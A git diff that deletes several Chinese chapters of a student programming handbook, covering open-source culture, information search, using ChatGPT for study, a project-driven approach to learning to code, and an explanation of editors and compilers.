收费的市场是一个不小的冲击,因为这个市场份额也就随着这家免费的开源企业而不断减小。但是由于开源带来的技术分享反而使市场更加集中与优质化,技术也随着开源而更快速的迭代,从而产生了更好用的产品。 - -张文涛:开源有利于提升产品的影响力 - -虽然公司在做开源之前不一定有明确商业目的,但是可能在开源过程中发现一些可盈利的点来开发出其产品线。然后,企业可以将这块收入的一部分反馈到开源的过程之中来增加产品的影响力。 - -杨毅远:开源不失为一种提高公司知名度和用户信任感的方式 - -如果是一家中小型的创业公司,是否可以把自己核心的一部分开源出来?这样不失为一种提高公司知名度和用户信任感的方式。此外,当把实验代码开源到网络上之后,人们也希望有其他同领域的专家、研究人员可以一起来滚动更新这个任务。 - -## 关于未来的开源,我们想说…… - -江季:开源是一个很有前景的领域,然而现在的开源文化还并不成熟,开源确实是仍然在路上。 - -开源目前仍然存在不够合格的现象,比如说某些人的开源工作难以复现。开源是一个很有前景的领域,尤其是在促进学术界发展上。然而现在的开源文化还并不成熟,开源网站中占据大部分篇幅的还是广告,并没有形成知识分享的模式,开源确实是仍然在路上。 -张文涛:开源的形式丰富多样,暂时不必思考太多,可以先和志同道合的人一起前进。 - -王琦:三体人的先进在于一代又一代的持续知识共享,我们可以先模仿、学习他人的项目。 - -我们如今做的东西,可能在历史长河之中早已被他人做过。如果提前了解到这些,可以很大地提升我们的工作效率。如果想做一个优质的开源项目,我们可以先模仿、学习他人的项目。 - -陈安东:开源应该是一个特别酷的东西,要敢于让别人看到自己的工作。 - -如今的开源还远远不够,大多数人还停留在在闭门造车的阶段。鼓励大家将自己的项目分享出来让大家来一起参与,接受大家的评价,彼此交流与指出问题,这样不但可以让开源工作更好,也可以让参与开源的大家收获满满。 diff --git a/技术资源汇总(杭电支持版)/2.高效学习/2.3高效的信息检索.md b/技术资源汇总(杭电支持版)/2.高效学习/2.3高效的信息检索.md deleted file mode 100644 index 8e6a684..0000000 --- a/技术资源汇总(杭电支持版)/2.高效学习/2.3高效的信息检索.md +++ /dev/null @@ -1,9 +0,0 @@ -# 2.3 高效的信息检索 - -善于运用各种信息,使自己迅速掌握时代的脉络也是不可获取的能力之一! - -在本章内容我们会给你指明一些常见的误区,以及如何使用正确的方式去解决问题。 - -做出微小的一点改变往往可能对你会有事半功倍的效果! - -当然有些内容可能现在你还无法理解,但是我认为你过一小段时间,等到有需要的时候可以再反复观看相关内容! diff --git a/技术资源汇总(杭电支持版)/2.高效学习/2.4优雅的记笔记.md b/技术资源汇总(杭电支持版)/2.高效学习/2.4优雅的记笔记.md deleted file mode 100644 index 71e2fc0..0000000 --- a/技术资源汇总(杭电支持版)/2.高效学习/2.4优雅的记笔记.md +++ /dev/null @@ -1,19 +0,0 @@ -# 2.4 优雅的记笔记 - -Notion - -Markdown - -Typora - -本节打算讲 markdown,还没来得及写 - -感兴趣查查上面 - -看看下面教程 - - - -以及这个 - - diff --git a/技术资源汇总(杭电支持版)/2.高效学习/2.5以理工科的方式阅读英语.md b/技术资源汇总(杭电支持版)/2.高效学习/2.5以理工科的方式阅读英语.md deleted file mode 100644 index 778639a..0000000 --- a/技术资源汇总(杭电支持版)/2.高效学习/2.5以理工科的方式阅读英语.md +++ /dev/null @@ -1,13 +0,0 @@ -# 2.5 以理工科的方式阅读英语 - -作为一名理工科学生,也许英语并不是你的强势,但往往学习又难以避开英语。 - -![](https://cdn.xyxsw.site/G6zAbGrTKoBLsfxhmvHcUBVynpc.png) - -下面提供一些英语阅读的方法: - -1. **学好英语(顺便过四六级)** -2. 文档阅读:使用浏览器插件,例如:[沙拉查词](https://saladict.crimx.com/)、[划词翻译](https://hcfy.app/)、[沉浸式翻译](https://immersivetranslate.com/docs/)、[DeepL 翻译](https://www.deepl.com/zh/app/) -3. Youtube 等视频网站的双语字幕 [languagereactor](https://www.languagereactor.com/)。 -4. 实用翻译软件[复制即翻译](https://copytranslator.github.io/)。 -5. ~~Galgame 翻译 [LunaTranslator](https://github.com/HIllya51/LunaTranslator)~~ diff --git a/技术资源汇总(杭电支持版)/2.高效学习/2.6学会使用AI辅助学习.md b/技术资源汇总(杭电支持版)/2.高效学习/2.6学会使用AI辅助学习.md deleted file mode 100644 index a951b77..0000000 --- a/技术资源汇总(杭电支持版)/2.高效学习/2.6学会使用AI辅助学习.md +++ /dev/null @@ -1,15 +0,0 @@ -# 2.1.6 学会使用 AI 辅助学习 - -在过去,AI 取代人类似乎一直是一件遥远的事情,但在 2022 年末 OpenAI 的 ChatGPT 发布后在全球引发了一场 AI 热潮,ChatGPT 所表现出来的能力让我们思考在不久的未来我们真的会被 AI 取代吗? - -在知识储备上,我们人类在 AI 面前绝不占优势,就比如 ChatGPT 是几乎使用了绝大多数西方互联网的优质回答而训练出来的,想要在知识储备量战胜 AI 已经成了天方夜谭,但大家也不要为不知道一些知识而焦虑,我很欣赏南京大学的蒋炎岩教授说的一句话:“大佬和小白的差距并不是知识量的差距,而是大佬知道如何问出好的问题,搜索引擎会告诉你答案,或许未来还可以问 AI” - -假如你已经玩过 ChatGPT,你会发现它还远没有到真正取代人类的地步,而是它的出现已经能够使教育以及学习方式发生巨大变革。接下去我会给你们一些小建议: - -- 如果你希望完成一件事但却不知道怎么做,你可以问搜索引擎 (PS:远离百度!通常会得到 StackOverflow 上的答案),或是直接问 ChatGPT!不过要小心,人工智能现在还经常一本正经胡说八道。 -- 问出合适的问题,就像你问一个大佬,假如你给出的 Prompt 非常宽泛而模糊,无论是谁都没法保障给出的答案是你想要的。比如你问“如何学好数学”,你可能会得到“多做题”这样的答案,但这并不是你想要的。你应该问“如何学好导数”,这样你就能得到更加精准的答案。问 ChatGPT 也是同样的道理,假如你给了它一个非常宽泛的 Prompt,它也只能给你一个模糊而无用的回答,假如给它的 Prompt 非常准确,那么你得到一个优质的回答的概率也会更高。 -- 有时候遇到一些你不愿意从头读到尾的手册,这时候去问 ChatGPT 是一个合适的选择,在一个手册里可能你需要的只是其中的一小段,但是手册却有几十页,此时 ChatGPT 的优势就体现出来了,它会根据你给的 Prompt 从手册中总结你需要的知识告诉你,这极大地降低了检索知识的成本,所以我觉得 ChatGPT 更像一个加强版搜索引擎。 -- 向 AI 获取知识,在现在的很多时候,AI 对于知识的掌控和讲解的逻辑性甚至超过了相当一大部分老师,或许去听 3 节长课甚至不如向 ChatGPT 问几个问题学到的知识更多,(或许未来的课堂可以变成老师下发一张写着问题的卡片,我们只需要发给 ChatGPT,通过它的回答来学习)。 -- 还有就是,在大学你会遇到非常多非常无趣的报告,甚至有些报告需要查重,没人愿意写,这时候 ChatGPT 就成为了拯救你的时间的利器,直接告诉它报告的要求,同时限定个数和字数,往往它能给出能混出相对高分的优质(低信息熵)报告,当然这适合的是一些水课报告,专业课报告别这么搞,专业课报告最好用它做来辅助你的写作,而不是直接抄袭。 - -> PS. 不论 ChatGPT 还是一些别的 AI,它们的回答都不是绝对准确的,使用的时候要带有自己的思考,不要盲目相信 AI 的指示,把 AI 作为你的帮手,这能极大提高你的学习效率。 diff --git a/技术资源汇总(杭电支持版)/2.高效学习/2.高效学习.md b/技术资源汇总(杭电支持版)/2.高效学习/2.高效学习.md deleted file mode 100644 index 12af4fc..0000000 --- a/技术资源汇总(杭电支持版)/2.高效学习/2.高效学习.md +++ /dev/null @@ -1,56 +0,0 @@ -# 2.高效学习 - -author:zzm - -> 邮箱 <1264517821@qq.com> - -本章节更多的是纠正同学们开始实验前的一些误区以及提出一些建议。 - -同时为大家推荐一些有趣的工具。 - -但是首先各位需要了解几个名词 -::: danger 名词提醒 - -
RTFM
- -Read the f**(friendly) manual - -::: - -::: danger 名词提醒 - -
STFW
- -Search the "friendly" website - -::: - -## 为什么不能直接告诉我? - -因为本讲义的目的除了让你学会知识以外,更重要的目的是教给你如何当一个合格的大学生。 - -一个合格的大学生理应具备独立解决问题的能力。 - -**并且这是无论是学术界还是工业界都非常重视的基本素养** - -当遇到问题不是赶紧找个大神帮我,而是"我来试试 STFW 和 RTFM, 看能不能自己解决". - -::: warning 到底该怎么做? - -不得不提的是,目前互联网上是明显信息过剩的,缺失的是一个合适的引导,一条清晰的路径以及去克服困难的勇气! - -这也是我们希望大伙能获得的能力,如果把全部信息都塞上去难免有些揠苗助长。 - -况且现在还有 ChatGPT 来辅助你去解决问题,大大降低了学习的难度,不过大家需要谨慎考虑的是,现在的机器也会一本正经的胡说八道 - -::: - -## 如果真的不知道怎么解决怎么办? - -![](https://cdn.xyxsw.site/boxcnSmy1oqFO1glYIYGRZ9NhEb.jpg) - -来细看看本章节的内容吧! - -## 参考内容 上海交大生存指南 - -[https://survivesjtu.gitbook.io/survivesjtumanual/](https://survivesjtu.gitbook.io/survivesjtumanual/) diff --git a/技术资源汇总(杭电支持版)/2.高效学习/static/2-1-3-1.jpg b/技术资源汇总(杭电支持版)/2.高效学习/static/2-1-3-1.jpg deleted file mode 100644 index fe35ce9..0000000 Binary files a/技术资源汇总(杭电支持版)/2.高效学习/static/2-1-3-1.jpg and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/2.高效学习/static/2-1-3-2.jpg b/技术资源汇总(杭电支持版)/2.高效学习/static/2-1-3-2.jpg deleted file mode 100644 index 7ed2142..0000000 Binary files a/技术资源汇总(杭电支持版)/2.高效学习/static/2-1-3-2.jpg and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/2.高效学习/static/G6zAbGrTKoBLsfxhmvHcUBVynpc.png b/技术资源汇总(杭电支持版)/2.高效学习/static/G6zAbGrTKoBLsfxhmvHcUBVynpc.png deleted file mode 100644 index e596c56..0000000 Binary files a/技术资源汇总(杭电支持版)/2.高效学习/static/G6zAbGrTKoBLsfxhmvHcUBVynpc.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/2.高效学习/static/boxcnO1PEsVd4KY7reeU64spShf.jpg b/技术资源汇总(杭电支持版)/2.高效学习/static/boxcnO1PEsVd4KY7reeU64spShf.jpg deleted file mode 100644 index 4f98340..0000000 Binary files a/技术资源汇总(杭电支持版)/2.高效学习/static/boxcnO1PEsVd4KY7reeU64spShf.jpg and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/2.高效学习/static/boxcnPDWiNgkgppK1XWq5cRQ71b.jpg b/技术资源汇总(杭电支持版)/2.高效学习/static/boxcnPDWiNgkgppK1XWq5cRQ71b.jpg deleted file mode 100644 index 8e0ab7a..0000000 Binary files a/技术资源汇总(杭电支持版)/2.高效学习/static/boxcnPDWiNgkgppK1XWq5cRQ71b.jpg and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/2.高效学习/static/boxcnSmy1oqFO1glYIYGRZ9NhEb.jpg b/技术资源汇总(杭电支持版)/2.高效学习/static/boxcnSmy1oqFO1glYIYGRZ9NhEb.jpg deleted file mode 100644 index 10ff967..0000000 Binary files a/技术资源汇总(杭电支持版)/2.高效学习/static/boxcnSmy1oqFO1glYIYGRZ9NhEb.jpg and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/2.高效学习/static/boxcnSq1JzWhVrFs3MePPzp5Txg.jpg b/技术资源汇总(杭电支持版)/2.高效学习/static/boxcnSq1JzWhVrFs3MePPzp5Txg.jpg deleted file mode 100644 index 07e487f..0000000 Binary files a/技术资源汇总(杭电支持版)/2.高效学习/static/boxcnSq1JzWhVrFs3MePPzp5Txg.jpg and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/2.高效学习/static/boxcne9EK3xz8LHOXfM8w9ih5Ig.png b/技术资源汇总(杭电支持版)/2.高效学习/static/boxcne9EK3xz8LHOXfM8w9ih5Ig.png deleted file mode 100644 index a7c11b3..0000000 Binary files a/技术资源汇总(杭电支持版)/2.高效学习/static/boxcne9EK3xz8LHOXfM8w9ih5Ig.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/2.高效学习/static/boxcnhuhE7qBLHyJKaesHGC033b.png b/技术资源汇总(杭电支持版)/2.高效学习/static/boxcnhuhE7qBLHyJKaesHGC033b.png deleted file mode 100644 index efcf96c..0000000 Binary files a/技术资源汇总(杭电支持版)/2.高效学习/static/boxcnhuhE7qBLHyJKaesHGC033b.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/2.高效学习/static/boxcnqsCWmUTDr5UDLYca9YkhHh.png b/技术资源汇总(杭电支持版)/2.高效学习/static/boxcnqsCWmUTDr5UDLYca9YkhHh.png deleted file mode 100644 index 2b14ed2..0000000 Binary files a/技术资源汇总(杭电支持版)/2.高效学习/static/boxcnqsCWmUTDr5UDLYca9YkhHh.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/2.高效学习/补充:为什么不要用百度.md b/技术资源汇总(杭电支持版)/2.高效学习/补充:为什么不要用百度.md deleted file mode 100644 index 86da600..0000000 --- a/技术资源汇总(杭电支持版)/2.高效学习/补充:为什么不要用百度.md +++ /dev/null @@ -1,19 +0,0 @@ -# 补充:为什么不要用百度 - -相信大家都用过百度来搜索一些非技术问题,而且一般很容易找到答案。但随着问题技术含量的提高,百度的搜索结果会变得越来越不靠谱。坚持使用百度搜索技术问题,你将很有可能会碰到以下情况之一: - -- 搜不到相关结果,你感到挫败 -- 搜到看似相关的结果,但无法解决问题,你在感到挫败之余,也发现自己浪费了不少时间 -- 你搜到了解决问题的方案,但没有发现原因分析,结果你不知道这个问题背后的细节 - -你可能会觉得"可以解决问题就行,不需要了解问题背后的细节"。但对于一些问题 (例如编程问题),你了解这些细节就相当于学到了新的知识,所以你应该去了解这些细节,让自己懂得更多。 - -如果谷歌能以更高的概率提供可以解决问题的方案,并且带有原因分析,你应该没有理由使用百度来搜索技术问题。如果你仍然坚持使用百度,原因就只有一个:你不想主动去成长。 - -你或许会觉得翻阅手册太麻烦了,所以可能会在百度上随便搜一篇博客来尝试寻找解决方案。但是,你需要明确以下几点: - -- 你搜到的博客可能也是转载别人的,有可能有坑 -- 博主只是分享了他的经历,有些说法也不一定准确 -- 搜到了相关内容,也不一定会有全面的描述 - -最重要的是,当你尝试了上述方法而又无法解决问题的时候,你需要明确"我刚才只是在尝试走捷径,看来我需要试试 RTFM 了"。 diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.0 编程入门之道.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.0 编程入门之道.md deleted file mode 100644 index 475b2b9..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.0 编程入门之道.md +++ /dev/null @@ -1,134 +0,0 @@ -# 3.0 编程入门之道 - -> 作者:[爱飞的鸟](https://github.com/aFlyBird0) - -## 缘由 - - -### 这篇讲义讲什么 - -- 首先,如上文所述,如何轻松地利用本章乃至整个讲义 -- 在第一点的基础上,引申出我自己归纳的**编程入门之“道”** - -### 请随意喷这篇讲义 - -故意写这么大的题目,就是为了“噱头”,为了让读者有点开的欲望。 - -可能本文的所谓的“道”并不是普适的,甚至是错误的,请尽你所能地喷这篇讲义,让我们一起完善它。 - -## 如何利用好本章的讲义 - -(首先纠正一个心态,当我们获得一大片非常丰富的新的知识的时候,不应该感到焦虑。不知道自己不知道什么,远比知道自己不知道什么来得好。同时,虽然你收获的信息量很大,但也并不意味着你要全部看完,不需要焦虑。) - -1. 这里的文章的最大的作用是帮你打开信息壁垒,告诉你编程的世界有哪些东西,可以去学什么。 -2. 把讲义当成字典来用。很多文章并不是完全对新人友好的,你现在不需要看懂,甚至可能不需要看。你只要大概记下有这么个概念和工具,当下次要用到的时候,再查阅、再仔细学习就好。 - -简单来说就是,**抱着平和的心态,随便看看**,知道这一章都讲了哪些东西,看完有个印象就好,然后常回家看看。 - -技术细节本身永远都不是最重要的,重要的是思想和方法,如何快速掌握一门技术。 - -## 编程入门之道 - -### 先“run”起来 - -这是我的第一个也是最重要的建议。 - -无论是学一门语言,还是学一个工具:**尽可能地先用最短的时间搞懂这个东西是做什么的,然后以最快的方式把它“run”起来。** - -当你已经能跑起一个语言、一个工具的最简单的示例的时候,再去花时间慢慢了解背后的复杂的内容,再去拓展即可。先用起来,跑起来,带着问题去翻资料。 - -- 比如学写 C 语言,我建议大家直接打开在看的教程的第一章,把代码复制到这个[在线编译](https://rextester.com/l/c_online_compiler_gcc)的网站里,点一下 "Run it" 看效果。为什么要去详细了解编译器、编辑器、IDE、gcc、g++、make 这种东西?能最快地上手,最快地运行看到效果,对于初学者来说是最好的。等你把环境装好了,人家已经学完三章了。当你已经会了简单的循环、判断、函数,已经建立了信心,就可以慢慢地去看那些让人头疼的东西了。 -- 比如学 Linux,如果你电脑操作系统是 MacOS,直接打开“终端”,可以勉强当 Linux 使;如果你是 Windows,直接跟着微软的 [WSL 安装教程](https://docs.microsoft.com/zh-cn/windows/wsl/install),一步步无脑地用鼠标点击然后装起来。这时候你就拥有一个 Linux 了,再对着教程去敲。等闲下来了就可以了解了解内核是什么,发行版是什么,去了解云服务器,去了解不同的装 Linux 的方式。 - -为什么要这样? - -- 第一,计算机是很重实操的东西,不要光看所谓的理论不动手。动手是王道。 -- 第二,要尽可能多地、尽可能快地给自己找一些正反馈,学编程不是当苦行僧 -- 第三,很多东西没必要学,学了也忘。用到了再去学,是最省事最容易记住最高效的。 -- 第四,程序员这一辈子会接触无数的新的东西,如何快速上手一个东西,是非常重要的能力。 - -### 任务/项目驱动 - -任务/项目驱动的意思承接上文,意思就是不要瞎看文章,不要让阅读教程和学习课本成为你的驱动力,等你看完一本 C 语言的书,一行代码就没敲,你就 g 了。 - -那么该怎么学呢? - -**先简单地会一样东西的最核心的部分,再去找一个实际的编程场景、编程任务、项目。你会在完成这个项目中遇到各种各样的问题,无论是遗漏了知识点还是压根没思路,这时候不断地用搜索引擎来学习。( **[2.3 高效的信息检索](../2.%E9%AB%98%E6%95%88%E5%AD%A6%E4%B9%A0/2.3%E9%AB%98%E6%95%88%E7%9A%84%E4%BF%A1%E6%81%AF%E6%A3%80%E7%B4%A2.md)**)** - -举个例子:你想做一个小程序,来检测某电影院的电影预售。程序大概要做到不断刷新网页,一检测到这个电影预售了,就马上发短信给自己手机(或者直接帮你抢) - -1. 你通过搜索引擎或者从不知道哪个学长/学姐那里得知,这玩意叫爬虫(简单来说就是用程序抓取网页上的内容)。我们又通过搜索引擎得知,python 写爬虫最舒服。[3.6python(灵巧的胶水)](3.6Python%EF%BC%88%E7%81%B5%E5%B7%A7%E7%9A%84%E8%83%B6%E6%B0%B4%EF%BC%89.md) -2. 我们又通过例如菜鸟教程这种最简单的极速入门教程,在 3 个小时内掌握了 python 的核心语法。 -3. 这时候我们开始写代码了,但是我该怎么获取到网页啊?这时候,你在浏览器里分别搜索了以下几个内容:“程序如何获取网页内容”。 -4. 你会学习到 http 相关的知识,大概知道了我们平时打开网页可以简单理解为一次 http GET。 -5. 可是,还是好抽象啊,python 又怎么才能获取到网页的内容啊?这时候,你在浏览器里精确了一下搜索内容,“python 如何获取网页内容”。 -6. 搜索引擎会告诉你,可以用诸如 `requests` 一类的库来请求网页。但问题又来了,这个库一下子会返回整个网页内容,我怎么才能筛选出我要的电影有没有放出来? -7. 这时候你又去搜索,学会了怎么解析网页。比如用 `xpath`, `bs4`, 甚至直接用正则。 -8. 我们现在能不断地刷新网页,并且筛选出所有的电影的信息,然后分析出自己想看的那个电影有没有放出来了。但是问题又来了,怎么让程序给自己发信息啊? -9. 这时候又打开了浏览器,我们可以知道诸如阿里云、腾讯云这样的云服务商提供了发短信的服务,并且会教你怎么写代码,主要注册、申请一下,就能发短信了。 -10. 但是你又会发现这个申请流程真 tm 麻烦,我还是发邮箱吧!这时候又开始搜,如何用 python 发邮件。 -11. 然后你会了解到 python 用于发邮件的一些库,以及简单的邮件协议的知识,如 `POP3` -12. 程序真的能如期运行了,能不断刷新、获取网页内容、解析内容以判断电影是否上映,上映了还会发邮件给你。 -13. 又又又出问题了!!!你发现程序出错了,因为你请求频率过高,电影院的网站发现你是爬虫了,把你给 ban 了!这时候你知道了“反爬”这个概念,就是反爬虫,类似于外挂和反外挂。你开始学习反爬的知识。 -14. 你了解到可以给程序挂个“代理”,相当于每次请求网页的时候,都伪装成了世界上上某个角落的另外一台电脑的请求。 -15. 能走到这里太艰辛了,但你很快又发现了问题!现在程序是跑在自己的电脑上的,我们不知道电影院啥时候放票,所以程序得一直跑着,但是电脑会关机啊,关机了还怎么抢??? -16. 这时候你了解到了服务器的概念。服务器可以简单地了解为一台远程的几乎从不关机的电脑,一般用的是 Linux 操作系统。[3.Y 附加模块:Linux](3.Y%20%E9%99%84%E5%8A%A0%E6%A8%A1%E5%9D%97%EF%BC%9ALinux.md) -17. 这时候你又开始去学 Linux,当然不是非常系统地学,而是像我之前说的,以最快的方式知道它是做什么的,然后运行起来。比如可以直接在阿里云、腾讯云、AWS 等云服务器商那里购买。甚至也可以用自己的旧手机装个 Linux 等等,这些都是后话了。 -18. 服务器是远程的,我们怎么连上去操纵它呢?我怎么把我的 python 代码传上去呢?这时候你又去求助万能的搜索引擎,或者神秘的学长学姐。你知道了世界上有 `ssh`、`ftp`、`sftp` 这些东西。 - -以上的“简单”的例子,就是所谓的任务驱动。带着目的去学,带着任务去学,带着问题去学,快速搞定。在上面的例子中,如果能成功走完,你会学到编程语言本身、学到网络知识、学到 Linux 服务器及其相关操作、学到云服务器和各种云服务(例如短信服务)。更重要的是,每一次从问题到答案的搜索与解决过程,你的编程内功就增强了一波。以后上手一个新东西,或者遇到问题再去解决它的速度,只会越来越快。 - -刚开始你可能什么都不会,什么地方都被阻塞,但当你把坑踩遍了。就发现,哎嘿,不好意思,这玩意我怎么又会! - -**所以让我们基于这个“任务驱动”,再看看本章的内容。这些内容大多看了就忘,因为细节非常多,而且并不一定能解决你手头上的问题。但这些文档,带你领进了新的领域的大门,让你的工具箱里多了一个可以解决问题的工具,以后用到了可以想起他们。并且,这些文章多是通俗的,且作者多是讲述了 ta 所认为的该语言/工具的最核心、最精华的部分,或者说第一次入门最需要学习的部分。** - -## 圈子 - -先干了这碗鸡汤,我之前写的,就单纯想让你看看。 - -> 每个大学的同一个专业,录取的时候分数是差不多的,但是毕业的时候工资可以差几十倍。他们的大环境是相同的,外界对他们的学历评价也是一样的。外部的大环境,我称之为大圈子,最典型的是学校。大圈子决定的是外部对你的整体性的刻板印象式的评价,以及决定了你能以多大的成本来获取资源(比如有没有公司来学校主要招生,有没有免费出国交流的机会,有没有图书馆)。但是,这个大圈子,在一般情况下,在你思考这个问题的时候就已经决定了,比如大家的大学是不能改变的。但更重要的是,小圈子,即你自身所营造的环境。比如每个人都有几个要好的朋友,他们的编程水平,其实就决定了你的编程水平,比如你是否有加入有技术大佬坐镇的社团,这样他们能带你学。如果线下都没有的话,你是否主动去加一些网上的社群、编程社区,问问公司对计算机专业学生的要求是什么,问问能进大厂的人,都在学些什么(知道要学什么很重要,瞎学悔大学)小圈子能时刻让你知道重要的讯息,比如计算机哪个细分方向的就业好,什么厂最近又有提前批,等等。圈子这东西太重要了,我以前很长一段时间就是一个所谓的一直在学习,很想提高自己,但因为比较自闭没有认识牛逼的人,所以我压根不知道学什么啊。那就只能随便弄,瞎搞,做无用功。 - -圈子,从另外一个角度,也可以理解为“信息差”,“信息壁垒”。对于编程这东西,知道有哪些东西能学,哪些东西赚钱多好找工作,哪些地方有项目,然后有着志同道合的人一起唠,太重要了。 - -我最近的两次编程能力的飞跃,一次是在加入了某个社团认识了很多技术大佬以及有了非常多的项目可以写,一次是意外地获得了一份实习所以能够和行业的领跑人物经常聊天,以及在开源社区慢慢接触到来自世界各地的技术大牛。 - -“破圈”的话,我目前接触到的最好的方式是参与开源社区。参与开源的好处如下: - -1. 输入决定输出。开源的代码多是经过检验的牛逼的代码,通过多看看优雅的代码来提高编程能力,比自己无中生有简单地多。 -2. 开源圈牛人多。无论是拓宽视野,还是在 issue 下的交流,还是别人给你的 review 建议,都能学到很多。你会在开源的过程中认识很多的人,很多大厂的人,说不定就是你以后的面试官。 -3. 参与开源社区能极大地锻炼自己的编程能力,能给简历贴金。 -4. 开源是程序员的浪漫。 - -对于学生而言,可以参加一些仅面向学生开放的开源活动。一般会有一个主办方,然后有许多知名的开源社区报名。他们会罗列出一些有一定难度的任务,学生可以提交申请书,陈述如何完成这个任务。中选后会分配单独的导师来带你,还会发奖金给你,一般是大几千起步。推荐阅读这个系列的文章:[https://erdengk.github.io/gsoc-analyse/](https://erdengk.github.io/gsoc-analyse/) - -## 不同的知识媒介 - -这里主要讲讲我对不同媒介来学习编程知识的看法,媒介主要指的是 - -- 图文 vs 音视频 - -我身边的牛逼的人,一般都更喜欢通过看图文来学习,而不是视频。主要有以下几个原因: - -1. 图文的信息密度最大。同样的时间内,看一篇图文获得的信息量比视频大很多。 -2. 图文易定位、检索。你可以通过搜索功能非常迅速地在一个工具的官网内找到想要的内容。 -3. 一些杂七杂八的原因:图文往往更新,因为视频制作耗时长,不容易更新;牛逼的人它不一定会做视频,或者说牛逼的人中有写博客习惯的远大于做视频习惯的。 - -当然,视频也有很大的好处,就是直观、简单。适合学习初期。 - -当然也不必强行把自己往上套,结合自身特质,以什么的方式学习效率最高,就采用什么样的方式。不过我建议你多锻炼阅读官方文档、文档教程的能力。 - -## 选择大于努力 - -正确解读 GPA这篇文档写得很好,和我的想法完全一致,但是被放得太后面了,我想把它提上来。 - -大学不是唯分数论的,起码编程不是这样。我的建议是,如果以后大概率考研,可以多抓一下绩点;如果以后大概率工作,就不必追求高绩点了(指把大部分时间都花在提高绩点上)。 - -至于为什么是“选择大于努力”这么笼统的标题,因为我想表达更多的意思(虽然我一时想不到那么多)。 - -选择真的比你想象的重要。 - -- 例如,你是选择把大部分的时间花在把成绩从 85 提高到 90 上,还是把大部分时间用来做实际的项目直接上手以后大厂需要的框架上? -- 例如,你选择什么技术栈,哪个发展方向(这个目前来说大家不需要考虑,只是简单提一下。大家选计算机这个行为本身相对来说就已经很对了,比土木工程当牛马好太多)? -- 例如,你是选择以老师上课教的内容为主,埋头搞 C 语言,还是多去扩展自己的视野去了解现行的流行的框架是什么,大厂需要什么样的能力,然后去做项目? - -以及,一旦作出了选择,就不要像祥林嫂那样自怨自艾。过去的事情无可改变,我们只能基于当前的状态和资源,去把接下来的事情做得更好。 diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.1该使用哪个编辑器???.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.1该使用哪个编辑器???.md deleted file mode 100644 index 9b89e05..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.1该使用哪个编辑器???.md +++ /dev/null @@ -1,89 +0,0 @@ -# 3.1 该使用哪个编辑器??? - -## 编辑器,编译器,集成开发环境 - -我们平时所说的程序,是指双击后就可以直接运行的程序,这样的程序被称为可执行程序(Executable Program)。 - -在 Windows 下,可执行程序的后缀主要有 .exe - -在类 UNIX 系统(STFW)下,可执行程序没有特定的后缀,系统根据文件的头部信息来判断是否是可执行程序 - -可执行程序的内部是一系列计算机指令和数据的集合,它们都是二进制形式的,CPU 可以直接识别,毫无障碍;但是对于程序员,它们非常晦涩,难以记忆和使用。 - -(你也不想用一沓纸带写程序吧) - -### 什么是编辑器 - -编辑器的概念很简单,百度百科上这么写道: - -> 编辑器是软件程序,一般是指用来修改电脑档案的编写软件,但也有人称 PE2、HE4(汉书)……等文书软件为编辑器。常见的编辑器有文本编辑器、网页编辑器、源程序编辑器、图像编辑器,声音编辑器和视频编辑器等。 - -当然在这里我们主要讲的是代码编辑器,一个好的编辑器可以节省开发时间,提高工作效率,它们都能提供非常方便易用的开发环境。你可以用它们来编写代码,查看源文件和文档等,简化你的工作。以下是一些常用的代码编辑器,每个不同的编辑器都有不尽相同的目标用户群体。 - -- *Visual Studio Code* : 微软 VS 系列的新作品,适用于多平台的代码编辑器,其很好服从了轻量化 + 拓展的 Unix 思想,在整体快捷方便的同时具有极强的功能拓展空间,是值得首要推荐的编辑器。 -- *Vim*: Vim 是从 vi 发展出来的一个文本编辑器,在程序员中被广泛使用,运行在 Linux 环境下。 -- *GNU Emacs* : Emacs 是一个轻便、可扩展、免费的编辑器,它比其它的编辑器要更强大,是一个整合环境,或可称它为集成开发环境。它可以处理文字,图像,高亮语法,将代码更直观地展现给开发者。 - -### 什么是编译器 - -C 语言代码由固定的词汇按照固定的格式组织起来,简单直观,程序员容易识别和理解,但是对于 CPU,C 语言代码就是天书,根本不认识,CPU 只认识几百个二进制形式的指令。这就需要一个工具,将 C 语言代码转换成 CPU 能够识别的二进制指令,也就是将代码加工成 .exe 程序;这个工具是一个特殊的软件,叫做编译器(Compiler)。 -编译器能够识别代码中的词汇、句子以及各种特定的格式,并将他们转换成计算机能够识别的二进制形式,这个过程称为编译(Compile)。 - -·机器语言、汇编语言和高级语言区别 - -1. 机器语言 - 计算机执行的二进制命令,都是 0 和 1 表示的。 -2. 汇编语言 - 具有一定意义的文字命令,与机器语言一一对应。汇编语言可以通过汇编得到机器语言,机器语言可以通过反汇编得到汇编语言。汇编过程还包括变量内存管理,即经过汇编之后所有的变量和函数都变成了地址,而常量也变成了对应的值。 - 但是汇编语言还是不够直观,一个简单的动作需要大量的语句来描述,因此又有了高级语言。 -3. 高级语言 - 更简单,符合人们的习惯,也更容易理解和修改。高级语言经过编译器编译之后可以得到目标程序。 - 编译器的作用就是把高级语言的源代码转换成对应平台的目标代码。高级语言书写比较简单,但是翻译起来比较复杂,同样的高级语言语句可以有不同的机器语言实现方法。 - -而编译器所做的就是进行这三种语言的互相转换。大多数情况下,编译是从更高级的语言(高级语言、汇编语言)编译成低级语言(汇编语言、机器语言)。 - -另一种情况是,从他人的可执行程序(低级语言)编译成高级语言,以推导出他人的软件产品所使用的思路、原理、结构、算法、处理过程、运行方法等设计要素,某些特定情况下可能推导出源代码。这个过程叫做反向编译。 - -编译器:将你所编辑的源代码编译成机器所能理解的语言,比如 VC++ 把你的.cpp 文件编译成.obj 